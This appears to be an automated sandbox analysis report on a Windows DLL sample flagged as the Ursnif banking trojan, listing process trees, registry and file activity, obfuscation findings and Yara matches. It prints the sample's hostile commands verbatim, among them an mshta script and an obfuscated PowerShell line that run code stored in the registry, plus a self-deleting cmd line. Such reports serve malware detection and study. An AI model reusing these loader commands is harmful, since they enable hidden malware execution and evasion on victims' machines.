Source: unknown Process created: C:\Windows\System32\loaddll32.exe loaddll32.exe "C:\Users\user\Desktop\VoevdOQpeU.dll"
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\VoevdOQpeU.dll",#1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\VoevdOQpeU.dll",#1
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 1428 -s 608
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 1428 -s 616
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 1428 -s 608
Source: unknown Process created: C:\Windows\System32\mshta.exe C:\Windows\System32\mshta.exe" "about:<hta:application><script>Xf38='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Xf38).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\54E80703-A337-A6B8-CDC8-873A517CAB0E\\\TestLocal'));if(!window.flag)close()</script>
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name uqcywglb -value gp; new-alias -name kiubrmsyn -value iex; kiubrmsyn ([System.Text.Encoding]::ASCII.GetString((uqcywglb "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn))
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\poet0yxq\poet0yxq.cmdline
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES2392.tmp" "c:\Users\user\AppData\Local\Temp\poet0yxq\CSCB57F583549494C91A9647985948976.TMP"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\bscdh0f0\bscdh0f0.cmdline
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES3B60.tmp" "c:\Users\user\AppData\Local\Temp\bscdh0f0\CSCCEA1AC591E3E41DFA7DCA22F6F20A95.TMP"
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\System32\control.exe C:\Windows\system32\control.exe -h
Source: C:\Windows\System32\control.exe Process created: C:\Windows\System32\rundll32.exe "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL -h
Source: C:\Windows\explorer.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\user\Desktop\VoevdOQpeU.dll
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\PING.EXE ping localhost -n 5
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\VoevdOQpeU.dll",#1 Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\VoevdOQpeU.dll",#1 Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\System32\control.exe C:\Windows\system32\control.exe -h Jump to behavior
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name uqcywglb -value gp; new-alias -name kiubrmsyn -value iex; kiubrmsyn ([System.Text.Encoding]::ASCII.GetString((uqcywglb "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)) Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\poet0yxq\poet0yxq.cmdline Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\bscdh0f0\bscdh0f0.cmdline Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES2392.tmp" "c:\Users\user\AppData\Local\Temp\poet0yxq\CSCB57F583549494C91A9647985948976.TMP" Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES3B60.tmp" "c:\Users\user\AppData\Local\Temp\bscdh0f0\CSCCEA1AC591E3E41DFA7DCA22F6F20A95.TMP" Jump to behavior
Source: C:\Windows\System32\control.exe Process created: C:\Windows\System32\rundll32.exe "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL -h Jump to behavior
Source: C:\Windows\explorer.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\user\Desktop\VoevdOQpeU.dll
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\PING.EXE ping localhost -n 5
Source: C:\Windows\SysWOW64\rundll32.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\Documents\20220423 Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe File created: C:\ProgramData\Microsoft\Windows\WER\Temp\WER2F57.tmp Jump to behavior
Source: classification engine Classification label: mal100.troj.evad.winDLL@29/23@0/2
Source: C:\Windows\System32\mshta.exe File read: C:\Users\user\Desktop\desktop.ini Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_049F6DB6 CreateToolhelp32Snapshot,Process32First,Process32Next,FindCloseChangeNotification, 2_2_049F6DB6
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\VoevdOQpeU.dll",#1
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6644:120:WilError_01
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5764:120:WilError_01
Source: C:\Windows\SysWOW64\WerFault.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess1428
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Mutant created: \Sessions\1\BaseNamedObjects\{18B00793-9774-0A09-E1CC-BBDEA5C01FF2}
Source: C:\Windows\SysWOW64\rundll32.exe Mutant created: \Sessions\1\BaseNamedObjects\{107D1110-2FAD-C278-3944-D3167DB8B7AA}
Source: C:\Windows\SysWOW64\rundll32.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\System32\mshta.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Settings Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll Jump to behavior
Source: VoevdOQpeU.dll Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Binary string: ntdll.pdb source: rundll32.exe, 00000002.00000003.370646090.0000000005D90000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: d:\in\the\town\where\ahung.pdb source: loaddll32.exe, 00000000.00000000.287938913.0000000000480000.00000002.00000001.01000000.00000003.sdmp, VoevdOQpeU.dll
Source: Binary string: ntdll.pdbUGP source: rundll32.exe, 00000002.00000003.370646090.0000000005D90000.00000004.00001000.00020000.00000000.sdmp
Uses code obfuscation techniques (call, push, ret)
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_049FB2FF push esi; retf 2_2_049FB301
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_049F820B push ecx; ret 2_2_049F821B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_049F7E20 push ecx; ret 2_2_049F7E29
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_05812C1A push ecx; mov dword ptr [esp], 00000002h 2_2_05812C1B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_058237E3 push ecx; ret 2_2_058237F3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_058232B0 push ecx; ret 2_2_058232B9
Contains functionality to dynamically determine API calls
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_0580A513 LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress, 2_2_0580A513
PE file contains an invalid checksum
Source: bscdh0f0.dll.28.dr Static PE information: real checksum: 0x0 should be: 0x5d5f
Source: poet0yxq.dll.26.dr Static PE information: real checksum: 0x0 should be: 0xdf1c
Source: VoevdOQpeU.dll Static PE information: real checksum: 0x872fe521 should be: 0xab1d3
Compiles C# or VB.Net code
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\poet0yxq\poet0yxq.cmdline
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\bscdh0f0\bscdh0f0.cmdline
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\poet0yxq\poet0yxq.cmdline Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\bscdh0f0\bscdh0f0.cmdline Jump to behavior
Drops PE files
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe File created: C:\Users\user\AppData\Local\Temp\bscdh0f0\bscdh0f0.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe File created: C:\Users\user\AppData\Local\Temp\poet0yxq\poet0yxq.dll Jump to dropped file

Hooking and other Techniques for Hiding and Protection
barindex
Yara detected Ursnif
Source: Yara match File source: 00000002.00000003.260779553.0000000004F78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.308220825.0000000004F78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.260884971.0000000004F78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.309153947.0000000004D7C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.306041676.0000000004F78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.261032532.0000000004F78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.261191379.0000000004F78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.260987111.0000000004F78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.261105592.0000000004F78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000018.00000003.369967418.000001909FD9C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.261071181.0000000004F78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.365233310.0000000005D78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.261177888.0000000004F78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: rundll32.exe PID: 5292, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: powershell.exe PID: 6612, type: MEMORYSTR
Source: Yara match File source: 2.3.rundll32.exe.48994a0.7.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.2.rundll32.exe.49f0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.3.rundll32.exe.48994a0.7.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.3.rundll32.exe.4e7a4a0.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.3.rundll32.exe.4f26940.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.3.rundll32.exe.4ef94a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.3.rundll32.exe.4e7a4a0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000002.00000002.421966249.0000000005800000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.307999471.0000000004EF9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.418290264.0000000004899000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.307957841.0000000004E7A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000002.420929959.0000000004BFF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Self deletion via cmd delete
Source: C:\Windows\explorer.exe Process created: C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\user\Desktop\VoevdOQpeU.dll
Source: C:\Windows\explorer.exe Process created: C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\user\Desktop\VoevdOQpeU.dll
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Source: C:\Windows\SysWOW64\rundll32.exe Registry key monitored for changes: HKEY_CURRENT_USER_Classes Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
